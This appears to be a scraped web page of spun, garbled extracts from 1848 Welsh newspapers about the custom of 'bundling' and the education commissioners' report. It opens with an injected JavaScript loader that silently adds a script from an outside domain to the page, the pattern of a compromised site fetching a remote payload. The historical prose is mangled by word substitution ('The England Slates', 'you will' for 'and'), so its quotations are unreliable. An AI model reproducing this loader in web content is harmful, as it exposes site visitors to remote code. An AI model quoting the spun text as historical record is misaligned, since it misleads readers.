;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn");
1848 [Sketch appended to a letter out of W Jones, Nefyn re The new Welsh Layman’s page] The second membership is gotten with the oath from the Magistrates during the Caernarvon “Three people implemented about three people of Chapel to the farm-house in which the second resided, throughout the parish away from Llanddeiniolen. The point try bundling during intercourse. Included in this turned pregnant and you will tried to associate the child towards the child she preferred greatest; nevertheless kid, to store themselves, brought the above mentioned research. As to the knowledge associated with the declaration, ask of your Magistrates at the Carnarvon W. JONES. Carnarvon and Denbigh Herald and Northern and South Wales Independent, 19 March 1848
1848 Mr GRIFFITH And you may MR BOOKER [Witnesses just who considering evidence on the Blue Instructions statement?] To your Editor of your Cardiff and you may Merthyr Guardian. Sir [Defence of your chastity from Welsh girls] I do not allude into the disgusting custom regarding “bundling,” which, strictly speaking, isn’t practised in the hilly districts however, towards the scenes one occur all afternoon in any social-house on these bits. Cardiff and you will Merthyr Guardian, Glamorgan, Monmouth and you will Brecon Gazette, eleven February 1848
1848 Page The training Payment. New commissioners possess totally forgotten sight of those special has actually. It’s amusing to see in what sanctified nightmare it narrate the technique of bundling,” or “courting in bed,” and this is present in a number of areas of Northern Wales. Exactly how the delicacy revolts at the idea! And yet, a far more second inquiry perform fulfill him or her that it’s inside the concept simply you to definitely evil exits A comparable practice is out there so you can the same the quantity regarding The England Slates-probably the most moral country around the globe. It’s notorious, you to in the two cases which custom are hardly ever otherwise never ever abused and you may a mention of the government yields shows just how many illegitimate births regarding the former eg becoming considerably surpassed in the a few of the counties off England. Monmouthshire Merlin, twenty-five February 1848
O. O. Roberts-alias An effective Welsh Layman. Contained in this around usement at the cost of facts are what usually do not very well be tolerated. Making aside, toward introduce, the fresh new bulk from unfair representations and you may inferences made, regarding the condition of the fresh Chapel on the weeks of your Vicar of Llandovery, and comments during the mention of period whenever Griffith Jones, away from Llanddowror, and many most other Churchmen, worked with a whole lot assiduity, in endeavouring to build a reformation, I shall simply find specific unjust explore produced again out-of ‘An article on the Reputation of one’s Welsh since a country, &c. The presenter exactly who made use of the Article, within Bangor meeting, was Mr.
K. O. Williams. He stands for new Low-compliant denominations out of Northern Wales,” because excommunicating all associate convicted of fornication. That it I believe, and that i never have mentioned almost anything to the alternative exactly what observe is completely new in my opinion, and i am not tempted to provide credence; we. I admit I got maybe not new “Nonconformists” off Wales inside my notice, once i made the above mentioned remark, and, I think, this new preceding phrase shows good enough one to such as for example is actually the outcome. I got my attention with the clergy, therefore the even more respectable portion of the society in relation to property. I never been aware of people dissenting householder which expelled a slave having bundling in bed; and that i do not believe that for example an event happened just like the Welsh has actually populated Gwyllt Walia.